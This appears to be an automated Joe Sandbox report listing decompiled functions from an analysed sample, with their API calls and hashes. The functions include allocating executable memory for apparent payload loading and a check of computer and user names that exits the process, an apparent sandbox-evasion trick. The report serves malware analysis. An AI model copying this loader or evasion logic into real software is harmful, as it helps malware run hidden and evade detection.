				if( *((intOrPtr*)(__esi + 0x84)) == 0) {
					_t18 =  *(__esi + 0x7c);
					if(_t18 == 0) {
						 *((intOrPtr*)(__esi + 0x14)) = 0x1000000;
						goto L9;
					} else {
						_t20 = ReadFile(_t18, __ebx, __edx,  &_v8, 0); // executed
						if(_t20 == 0) {
							goto L9;
						} else {
							_t41 = _v8;
							 *((intOrPtr*)(__esi + 0x74)) =  *((intOrPtr*)(__esi + 0x74)) + _t41;
							 *((intOrPtr*)(__esi + 0x78)) = L004275D0(__ebx, _t41);
							return _t41;
						}
					}
				} else {
					_t24 =  *((intOrPtr*)(__esi + 0x8c));
					_t43 =  *((intOrPtr*)(__esi + 0x88));
					if(_t24 >= _t43) {
						L9:
						return 0;
					} else {
						_t44 = _t43 - _t24;
						if(_t44 > __edx) {
							_t44 = __edx;
						}
						L00429D20(_t30, _t24 + _t32, _t44);
						 *((intOrPtr*)(_t46 + 0x8c)) =  *((intOrPtr*)(_t46 + 0x8c)) + _t44;
						 *((intOrPtr*)(_t46 + 0x74)) =  *((intOrPtr*)(_t46 + 0x74)) + _t44;
						 *((intOrPtr*)(_t46 + 0x78)) = L004275D0(_t30, _t44);
						return _t44;
					}
				}
			}

0x00428190
0x00428190
0x00428193
0x00428194
0x0042819d
0x004281e3
0x004281e8
0x00428219
0x00000000
0x004281ea
0x004281f3
0x004281fb
0x00000000
0x004281fd
0x004281fd
0x00428203
0x0042820f
0x00428218
0x00428218
0x004281fb
0x0042819f
0x0042819f
0x004281a5
0x004281ad
0x00428220
0x00428226
0x004281af
0x004281af
0x004281b3
0x004281b5
0x004281b5
0x004281bc
0x004281c4
0x004281ca
0x004281d9
0x004281e2
0x004281e2
0x004281ad

APIs

_memmove.LIBCMT ref: 004281BC
ReadFile.KERNEL32(?,?,00004000,00000000,00000000,?,?,?,004283BF,?,00000000,?), ref: 004281F3

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: 8ecb5a90442a16cd7af79c48e66816c6b3f229a4cf9ab0d12b1364ff13c2d609
Instruction ID: 7c21dee427c1d17b87947b80fc84e5044e5633c109b9055d86e1d49ef453d736
Opcode Fuzzy Hash: 8ecb5a90442a16cd7af79c48e66816c6b3f229a4cf9ab0d12b1364ff13c2d609
Instruction Fuzzy Hash: 3C118F31701B049BE724CB7AEC41A2BF3E9EFC0614F54496EA59AC3B11DE70EC0087A4

Uniqueness

Uniqueness Score: -1.00%

Function 00427D60 Relevance: 3.1, APIs: 2, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00427D60(CHAR* __eax, void* __esi) {
				void* __ebx;
				void* __ecx;
				void* _t10;
				void* _t19;
				void* _t21;

				 *((intOrPtr*)(__esi + 0x7c)) = 0;
				 *((intOrPtr*)(__esi + 0x84)) = 0;
				 *((char*)(__esi + 0x80)) = 0;
				 *((intOrPtr*)(__esi + 0x78)) = 0;
				 *((intOrPtr*)(__esi + 0x70)) = 0;
				 *((intOrPtr*)(__esi + 0x90)) = 0;
				 *((intOrPtr*)(__esi + 0x74)) = 0;
				if(__eax != 0) {
					_t10 = CreateFileA(__eax, 0x80000000, 1, 0, 3, 0, 0); // executed
					_t21 = _t10;
					if(_t21 != 0xffffffff) {
						_t19 = L00427DE0(__esi, _t21, 0);
						if(_t19 == 0) {
							 *((char*)(__esi + 0x80)) = 1;
							return 0;
						} else {
							CloseHandle(_t21);
							return _t19;
						}
					} else {
						return 0x200;
					}
				} else {
					return 0x10000;
				}
			}

0x00427d65
0x00427d68
0x00427d6e
0x00427d74
0x00427d77
0x00427d7a
0x00427d80
0x00427d85
0x00427d9d
0x00427da3
0x00427da8
0x00427dbd
0x00427dc1
0x00427dd1
0x00427ddc
0x00427dc3
0x00427dc4
0x00427dcf
0x00427dcf
0x00427daa
0x00427db2
0x00427db2
0x00427d87
0x00427d8f
0x00427d8f

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,0042853A,?,00000000), ref: 00427D9D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b6761d0cb0ca7a6ecad01450217135b6c3cd7a93314328b1d49483a460d47098
Instruction ID: 8e0b32d828a43c712ca13ffc3ea6a74668263e8b181e125b43b71e5c310f603c
Opcode Fuzzy Hash: b6761d0cb0ca7a6ecad01450217135b6c3cd7a93314328b1d49483a460d47098
Instruction Fuzzy Hash: 0701A2B2705B005FE7214F3EACC4767E7D8FB84226F60063FF256C2691CBB4A844A624

Uniqueness

Uniqueness Score: -1.00%

Function 004145A0 Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004145A0(void* __ecx, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr* _t20;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t25;
				intOrPtr* _t27;
				intOrPtr _t30;
				void* _t32;
				void* _t34;

				_t34 = __esi;
				_push(4);
				 *((intOrPtr*)(__esi + 0x30)) = 0;
				 *((intOrPtr*)(__esi + 8)) = 0;
				 *((intOrPtr*)(__esi + 0x10)) = 0;
				 *((intOrPtr*)(__esi + 0x14)) = 0x201;
				 *((intOrPtr*)(__esi + 0x18)) = 6;
				 *((intOrPtr*)(__esi + 0x1c)) = 0;
				 *((intOrPtr*)(__esi + 0x20)) = 0;
				 *((intOrPtr*)(__esi + 0x24)) = 0;
				 *((intOrPtr*)(__esi + 0x28)) = 0;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				 *((intOrPtr*)(__esi + 0xc)) = 0;
				_t20 = E0042A7D1(_t32, 0, __esi, __eflags);
				_t27 = _t20;
				_t38 = _t27;
				if(_t27 == 0) {
					 *((intOrPtr*)(__esi + 0x30)) = 0;
					return _t20;
				} else {
					_t21 = E00429544(_t27, 0, __esi, _t38); // executed
					 *_t27 = _t21;
					_v8 = E00429303();
					L0042962D( &_v12, 0);
					_t30 = _v8;
					_t24 =  *((intOrPtr*)(_t30 + 4));
					if(_t24 < 0xffffffff) {
						 *((intOrPtr*)(_t30 + 4)) = _t24 + 1;
					}
					_t25 = L00429655( &_v12);
					 *((intOrPtr*)(_t34 + 0x30)) = _t27;
					return _t25;
				}
			}

0x004145a0
0x004145aa
0x004145ac
0x004145af
0x004145b2
0x004145b5
0x004145bc
0x004145c3
0x004145c6
0x004145c9
0x004145cc
0x004145cf
0x004145d2
0x004145d5
0x004145da
0x004145df
0x004145e1
0x0041461b
0x00414623
0x004145e3
0x004145e3
0x004145e8
0x004145f3
0x004145f6
0x004145fb
0x004145fe
0x00414604
0x00414607
0x00414607
0x0041460d
0x00414612
0x0041461a
0x0041461a

APIs

Part of subcall function 0042A7D1: _malloc.LIBCMT ref: 0042A7EB

std::locale::_Init.LIBCPMT ref: 004145E3

Part of subcall function 00429544: __EH_prolog3.LIBCMT ref: 0042954B
Part of subcall function 00429544: std::_Lockit::_Lockit.LIBCPMT ref: 00429561
Part of subcall function 00429544: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00429583
Part of subcall function 00429544: std::locale::_Setgloballocale.LIBCPMT ref: 0042958D
Part of subcall function 00429544: _Yarn.LIBCPMT ref: 004295A3

std::_Lockit::_Lockit.LIBCPMT ref: 004145F6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::locale::_$LockitLockit::_std::_$H_prolog3InitLocimpLocimp::_SetgloballocaleYarn_malloc
String ID:
API String ID: 385601912-0
Opcode ID: 358c2c5c8a060ab6f75ee9329c5b97e20ab1e055874194b64afe588ed87a1954
Instruction ID: 71f0982faee6d6515a0da540d4d354079a6ad3aa78137f2e0328361c49e9e440
Opcode Fuzzy Hash: 358c2c5c8a060ab6f75ee9329c5b97e20ab1e055874194b64afe588ed87a1954
Instruction Fuzzy Hash: 49118BB0A007049BC720DF6BE58045AFBF8FFD4318B504B5FD89A87A50D7BAA9058F85

Uniqueness

Uniqueness Score: -1.00%

Function 004105D0 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004105D0(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				long _v272;
				signed int _t7;
				void* _t9;
				intOrPtr _t16;
				intOrPtr _t20;
				intOrPtr _t21;
				signed int _t24;

				_t23 = __esi;
				_t22 = __edi;
				_t15 = __ebx;
				_t7 =  *0x450664; // 0x30e242aa
				_v8 = _t7 ^ _t24;
				_t9 = E0041EF80(__ebx, _t21, __edi, __esi);
				_t16 =  *0x4530f8; // 0x508fc48
				if(E004202B0(_t9, _t16) == 0) {
					_v272 = 0x101;
					GetUserNameA( &_v268,  &_v272);
					_t20 =  *0x453260; // 0x508fc68
					_t10 = E004202B0( &_v268, _t20);
					if(_t10 == 0) {
						ExitProcess(_t10);
					}
				}
				return E00429B16(_t10, _t15, _v8 ^ _t24, _t21, _t22, _t23);
			}

0x004105d0
0x004105d0
0x004105d0
0x004105d9
0x004105e0
0x004105e3
0x004105e8
0x004105f5
0x00410605
0x0041060f
0x00410615
0x00410621
0x00410628
0x0041062b
0x0041062b
0x00410628
0x0041063e

APIs

Part of subcall function 0041EF80: GetComputerNameA.KERNEL32 ref: 0041EFAF

GetUserNameA.ADVAPI32(?,?), ref: 0041060F
ExitProcess.KERNEL32 ref: 0041062B

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Name$ComputerExitProcessUser
String ID:
API String ID: 162832415-0
Opcode ID: df38bf99ca5f41ef5a147445d9035aa946edb02d0efc32b3356e0a68a9c53375
Instruction ID: 60f55d808a9dda59b0a26c1f327424f4763cefe017ef6587c340b8841ec6f6bf
Opcode Fuzzy Hash: df38bf99ca5f41ef5a147445d9035aa946edb02d0efc32b3356e0a68a9c53375
Instruction Fuzzy Hash: 36F09030600308DBCB10EF61ED45ADE77B8AB54306F4001BAE84987242EEB89ED5CF88

Uniqueness

Uniqueness Score: -1.00%

Function 004048A0 Relevance: 2.6, APIs: 2, Instructions: 67
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004048A0(void* __ecx, void* __esi) {
				signed int _v8;
				void* _t21;
				void* _t26;
				intOrPtr _t29;
				void* _t30;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t40;
				void* _t42;
				long _t43;
				void* _t46;

				_t46 = __esi;
				_t36 =  *((intOrPtr*)(__esi + 0x138));
				_t32 = 0;
				_t42 = 0;
				if(0 <  *(__esi + 0x46)) {
					_t38 = _t36 + 0xc;
					_v8 =  *(__esi + 0x46) & 0x0000ffff;
					do {
						_t40 =  *((intOrPtr*)(_t38 - 4));
						if(_t40 != 0) {
							_t29 =  *_t38;
							if(_t29 < _t32) {
								_t32 = _t29;
							}
							_t30 = _t29 + _t40;
							if(_t30 > _t42) {
								_t42 = _t30;
							}
						}
						_t38 = _t38 + 0x28;
						_t6 =  &_v8;
						 *_t6 = _v8 - 1;
					} while ( *_t6 != 0);
				}
				_t43 = _t42 - _t32;
				_t21 = VirtualAlloc( *((intOrPtr*)(_t46 + 0x74)) + _t32, _t43, 0x3000, 0x40); // executed
				 *(_t46 + 0x148) = _t21;
				 *((intOrPtr*)(_t46 + 0x144)) =  *((intOrPtr*)(_t46 + 0x74));
				if(_t21 != 0) {
					L12:
					asm("sbb eax, eax");
					return ( ~( *(_t46 + 0x148)) & 0xfffffffd) + 3;
				} else {
					if(( *(_t46 + 0x56) & 0x00000001) == 0) {
						_t26 = VirtualAlloc(0, _t43, 0x3000, 0x40);
						 *(_t46 + 0x148) = _t26;
						 *((intOrPtr*)(_t46 + 0x144)) = _t26 - _t32;
						goto L12;
					} else {
						return 4;
					}
				}
			}

0x004048a0
0x004048a4
0x004048ae
0x004048b0
0x004048b6
0x004048bc
0x004048bf
0x004048c2
0x004048c2
0x004048c7
0x004048c9
0x004048cd
0x004048cf
0x004048cf
0x004048d1
0x004048d5
0x004048d7
0x004048d7
0x004048d5
0x004048d9
0x004048dc
0x004048dc
0x004048dc
0x004048c2
0x004048eb
0x004048f1
0x004048fa
0x00404900
0x00404908
0x00404939
0x00404941
0x0040494e
0x0040490a
0x0040490e
0x00404925
0x0040492b
0x00404933
0x00000000
0x00404910
0x0040491a
0x0040491a
0x0040490e

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040), ref: 004048F1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00404925

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2b36327d757bc9e1ef00ca49d2a54dde6945a6ce1c329b630e4c75ec36e981d6
Instruction ID: d56b25f2d68b3dadb26ed92b56bafd6c9502a566a9c28059ee7ddcf166cb9a09
Opcode Fuzzy Hash: 2b36327d757bc9e1ef00ca49d2a54dde6945a6ce1c329b630e4c75ec36e981d6
Instruction Fuzzy Hash: E611D0B27407049BC320CFB9CC80BA7F7E5AB85715F10893EEA5EC7390E679E9408608

Uniqueness

Uniqueness Score: -1.00%

Function 00421120 Relevance: 1.7, APIs: 1, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00421120(intOrPtr* _a4, long long _a8) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v44;
				char _v52;
				void* __edi;
				void* __esi;
				signed int _t68;
				signed int _t72;
				signed int _t81;
				signed int _t82;
				intOrPtr* _t86;
				intOrPtr* _t87;
				intOrPtr _t94;
				intOrPtr* _t104;
				intOrPtr* _t107;
				signed int _t110;
				void* _t112;
				intOrPtr* _t114;
				intOrPtr _t118;
				signed int _t124;
				intOrPtr _t135;
				signed int _t139;
				signed int _t143;
				signed int _t146;
				void* _t147;
				intOrPtr _t148;

				_push(0xffffffff);
				_push(E0043E022);
				_push( *[fs:0x0]);
				_t148 = _t147 - 0x24;
				_push(_t131);
				_t68 =  *0x450664; // 0x30e242aa
				_push(_t68 ^ _t146);
				 *[fs:0x0] =  &_v16;
				_v20 = _t148;
				_t104 = _a4;
				_t107 =  *((intOrPtr*)( *( *_t104 + 4) + _t104 + 0x38));
				_v24 = 0;
				_v44 = _t104;
				if(_t107 != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t107 + 4))))();
				}
				_v8 = 0;
				_t72 =  *( *_t104 + 4);
				if( *((intOrPtr*)(_t72 + _t104 + 0xc)) == 0) {
					_t99 =  *((intOrPtr*)(_t72 + _t104 + 0x3c));
					if( *((intOrPtr*)(_t72 + _t104 + 0x3c)) != 0) {
						L0041C590(_t99);
					}
				}
				_t73 =  *_t104;
				_t110 =  *( *_t104 + 4) & 0xffffff00 |  *((intOrPtr*)( *( *_t104 + 4) + _t104 + 0xc)) == 0x00000000;
				_v40 = _t110;
				_v8 = 1;
				if(_t110 != 0) {
					_t86 = L00414560( *((intOrPtr*)(_t73 + 4)) + _t104, _t110,  &_v28);
					_v8 = 2;
					_t87 = E004238A0(_t86);
					_v8 = 1;
					_t143 = _v28;
					_v36 = _t87;
					if(_t143 != 0) {
						L0042962D( &_v32, 0);
						_t30 = _t143 + 4; // 0x45e8ffff
						_t94 =  *_t30;
						if(_t94 != 0 && _t94 < 0xffffffff) {
							 *(_t143 + 4) = _t94 - 1;
						}
						_t32 = _t143 + 4; // 0x45e8ffff
						asm("sbb edi, edi");
						L00429655( &_v32);
						_t139 =  !( ~( *_t32)) & _t143;
						if(_t139 != 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t139))))(1);
						}
					}
					_v8 = 3;
					_t118 =  *_t104;
					_t135 =  *((intOrPtr*)(_t118 + 4));
					_v52 = 0;
					 *((long long*)(_t148 - 8)) = _a8;
					_v32 =  *((intOrPtr*)(_t135 + _t104 + 0x40));
					_t131 = _v32;
					 *((intOrPtr*)( *((intOrPtr*)( *_v36 + 0xc))))( &_v52, _v52,  *((intOrPtr*)(_t135 + _t104 + 0x38)),  *((intOrPtr*)(_t118 + 4)) + _t104, _v32); // executed
					if(_v52 != 0) {
						_v24 = 4;
					}
					_v8 = 1;
				}
				_t124 = _v24;
				_t112 =  *( *_t104 + 4) + _t104;
				if(_t124 != 0) {
					_t81 =  *(_t112 + 0xc) | _t124;
					if( *((intOrPtr*)(_t112 + 0x38)) == 0) {
						_t81 = _t81 | 0x00000004;
					}
					_t82 = _t81 & 0x00000017;
					 *(_t112 + 0xc) = _t82;
					_t164 =  *(_t112 + 0x10) & _t82;
					if(( *(_t112 + 0x10) & _t82) != 0) {
						_push(0);
						L00414490(_t112, _t131);
					}
				}
				_v8 = 5;
				if(L00429A16(_t164) == 0) {
					L00422C10();
				}
				_v8 = 0xffffffff;
				_t114 =  *((intOrPtr*)( *( *_t104 + 4) + _t104 + 0x38));
				if(_t114 != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t114 + 8))))();
				}
				 *[fs:0x0] = _v16;
				return _t104;
			}

0x00421123
0x00421125
0x00421130
0x00421131
0x00421136
0x00421137
0x0042113e
0x00421142
0x00421148
0x0042114b
0x00421153
0x00421159
0x0042115c
0x00421161
0x00421168
0x00421168
0x0042116a
0x0042116f
0x00421176
0x00421178
0x0042117e
0x00421182
0x00421182
0x0042117e
0x00421187
0x00421191
0x00421194
0x00421197
0x004211a0
0x004211ae
0x004211b5
0x004211b9
0x004211be
0x004211c2
0x004211c5
0x004211ca
0x004211d1
0x004211d6
0x004211d6
0x004211db
0x004211e3
0x004211e3
0x004211e6
0x004211eb
0x004211f2
0x004211f7
0x004211f9
0x00421203
0x00421203
0x004211f9
0x00421208
0x0042120c
0x0042120e
0x0042121e
0x00421222
0x00421229
0x0042122c
0x00421241
0x00421247
0x00421249
0x00421249
0x00421250
0x00421250
0x00421299
0x0042129c
0x004212a0
0x004212a5
0x004212ab
0x004212ad
0x004212ad
0x004212b0
0x004212b3
0x004212b6
0x004212b9
0x004212bb
0x004212bd
0x004212bd
0x004212b9
0x004212c2
0x004212d0
0x004212d4
0x004212d4
0x004212d9
0x004212e5
0x004212eb
0x004212f2
0x004212f2
0x004212f9
0x00421307

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004211D1

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 8142d5652ab3cf55888b0d55a09531f8f4dad3047afe8974291b19621899dcbe
Instruction ID: 32384e5d1289a57d699f8c5585689b0fa20646a2e4e00b908fcf82fd0de55db3
Opcode Fuzzy Hash: 8142d5652ab3cf55888b0d55a09531f8f4dad3047afe8974291b19621899dcbe
Instruction Fuzzy Hash: 6B51BF75A00214DFCB00CF98D980BAEBBB1BF58718F64819EE505AB392C739ED05CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B870 Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0041B870(intOrPtr __edi, intOrPtr __esi, void* __eflags, char _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t13;
				void* _t14;
				char _t15;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t22;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr _t33;
				void* _t46;

				_push(0x20);
				_t13 = E0042A7D1(_t46, __edi, __esi, __eflags);
				_v16 = _a4;
				_v8 = _t13;
				_v12 = _a8;
				_t14 = E00404D10( &_v16, _a8, __edi, __esi, _t13); // executed
				if(_t14 == 0) {
					_t15 = _v8;
					__eflags = _t15;
					if(_t15 == 0) {
						goto L2;
					} else {
						_push(__esi);
						_t39 = _t15 + 0x14;
						_push(__edi);
						_t52 = _t15 + 8;
						_t17 =  *0x452ac8; // 0x509b258
						 *0x4532b8 = L00404ED0(_t17,  *((intOrPtr*)(_t15 + 0x14)),  *((intOrPtr*)(_t15 + 8)),  *((intOrPtr*)(_t15 + 0x14)));
						_t19 =  *0x452e90; // 0x509cda0
						 *0x4532d4 = L00404ED0(_t19,  *((intOrPtr*)(_t15 + 0x14)),  *(_t15 + 8),  *(_t15 + 0x14));
						_t22 =  *0x453120; // 0x509cc38
						 *0x453308 = L00404ED0(_t22,  *((intOrPtr*)(_t15 + 0x14)),  *(_t15 + 8),  *_t39);
						_t24 =  *0x452e64; // 0x509b418
						 *0x4532f4 = L00404ED0(_t24,  *_t39,  *(_t15 + 8),  *_t39);
						_t26 =  *0x45318c; // 0x509b078
						 *0x4532e8 = L00404ED0(_t26,  *_t39,  *(_t15 + 8),  *_t39);
						_t29 =  *0x452f24; // 0x509cbc0
						 *0x453304 = L00404ED0(_t29,  *_t39,  *_t52,  *_t39);
						_t31 =  *0x452ff0; // 0x509b2d8
						 *0x4532e0 = L00404ED0(_t31,  *_t39,  *_t52,  *_t39);
						_t33 =  *0x452ea4; // 0x509b238
						 *0x4532d8 = L00404ED0(_t33,  *_t39,  *_t52,  *_t39);
						return 1;
					}
				} else {
					L00429B30( &_v8, 0, 4);
					L2:
					return 0;
				}
			}

0x0041b876
0x0041b878
0x0041b883
0x0041b88a
0x0041b88d
0x0041b890
0x0041b89a
0x0041b8b2
0x0041b8b5
0x0041b8b7
0x00000000
0x0041b8b9
0x0041b8bd
0x0041b8c1
0x0041b8c4
0x0041b8c5
0x0041b8c8
0x0041b8d7
0x0041b8dc
0x0041b8e9
0x0041b8f1
0x0041b8ff
0x0041b904
0x0041b913
0x0041b918
0x0041b925
0x0041b92d
0x0041b93b
0x0041b940
0x0041b94f
0x0041b954
0x0041b964
0x0041b972
0x0041b972
0x0041b89c
0x0041b8a4
0x0041b8ac
0x0041b8b1
0x0041b8b1

APIs

Part of subcall function 0042A7D1: _malloc.LIBCMT ref: 0042A7EB

_memset.LIBCMT ref: 0041B8A4

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _malloc_memset
String ID:
API String ID: 4137368368-0
Opcode ID: 1f1e846f435dd424af8fc2505f753f49912cab72b8434de7c884c696e92141fb
Instruction ID: fd75c288553a1d58cb1deaa5cc8a05f9da6af535a72c7fb513bea5c444192039
Opcode Fuzzy Hash: 1f1e846f435dd424af8fc2505f753f49912cab72b8434de7c884c696e92141fb
Instruction Fuzzy Hash: BE3160B5A00214AFC700DF65E981A5677B4FB48345F1441BAFA04EB362D774EE10CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00426330 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426330(signed int __eax, void* __ecx, signed short* _a4) {
				void* __esi;
				intOrPtr _t37;
				signed int _t41;
				signed int _t42;
				signed int _t56;
				signed char* _t57;
				void* _t58;

				_t58 = __ecx;
				_t56 = __eax;
				 *((intOrPtr*)(__ecx + 0x6af78)) = 0;
				if( *((intOrPtr*)(__ecx + 0x6af70)) == 0) {
					 *((intOrPtr*)(__ecx + 0x6af78)) = 1;
					 *((intOrPtr*)(__ecx + 0x6af70)) = 0x10000;
				}
				 *((intOrPtr*)(_t58 + 0x6af6c)) = 0;
				L00429B30(_t58 + 0x4af70, 0, 0x1fffc);
				 *(_t58 + 0x6af98) =  *(0x44878a + _t56 * 8) & 0x0000ffff;
				 *(_t58 + 0x6af9c) =  *(0x448788 + _t56 * 8) & 0x0000ffff;
				 *(_t58 + 0x6afa0) =  *(0x44878c + _t56 * 8) & 0x0000ffff;
				 *(_t58 + 0x6af94) =  *(0x44878e + _t56 * 8) & 0x0000ffff;
				if(_t56 > 2) {
					if(_t56 >= 8) {
						 *_a4 =  *_a4 | 0x00000002;
					}
				} else {
					 *_a4 =  *_a4 | 0x00000004;
				}
				_t57 = _t58 + 0x1af70;
				 *((intOrPtr*)(_t58 + 0x6af84)) = 0;
				 *((intOrPtr*)(_t58 + 0x6af74)) = 0;
				_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc))))(_t58, _t57, 0x10000); // executed
				 *((intOrPtr*)(_t58 + 0x6af90)) = _t37;
				if(_t37 == 0 || _t37 == 0xffffffff) {
					 *((intOrPtr*)(_t58 + 0x6af90)) = 0;
					 *((intOrPtr*)(_t58 + 0x6af8c)) = 1;
					return _t37;
				} else {
					 *((intOrPtr*)(_t58 + 0x6af8c)) = 0;
					if(_t37 < 0x106) {
						E004265B0(_t58);
					}
					 *(_t58 + 0x6af7c) = 0;
					_t41 = (0 << 0x00000005 ^  *_t57 & 0x000000ff) & 0x00007fff;
					 *(_t58 + 0x6af7c) = _t41;
					_t42 = _t41 << 5;
					 *(_t58 + 0x6af7c) = ( *(_t58 + 0x1af71) & 0x000000ff ^ _t42) & 0x00007fff;
					return _t42;
				}
			}

0x00426335
0x0042633a
0x0042633c
0x00426348
0x0042634a
0x00426354
0x00426354
0x0042636b
0x00426371
0x0042637e
0x0042638c
0x0042639a
0x004263ab
0x004263b4
0x004263c2
0x004263c7
0x004263c7
0x004263b6
0x004263b9
0x004263b9
0x004263d3
0x004263db
0x004263e1
0x004263e7
0x004263ec
0x004263f4
0x00426446
0x0042644c
0x00426459
0x004263fb
0x004263fb
0x00426406
0x00426408
0x00426408
0x0042640d
0x0042641d
0x00426422
0x0042642f
0x0042643b
0x00426444
0x00426444

APIs

_memset.LIBCMT ref: 00426371

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

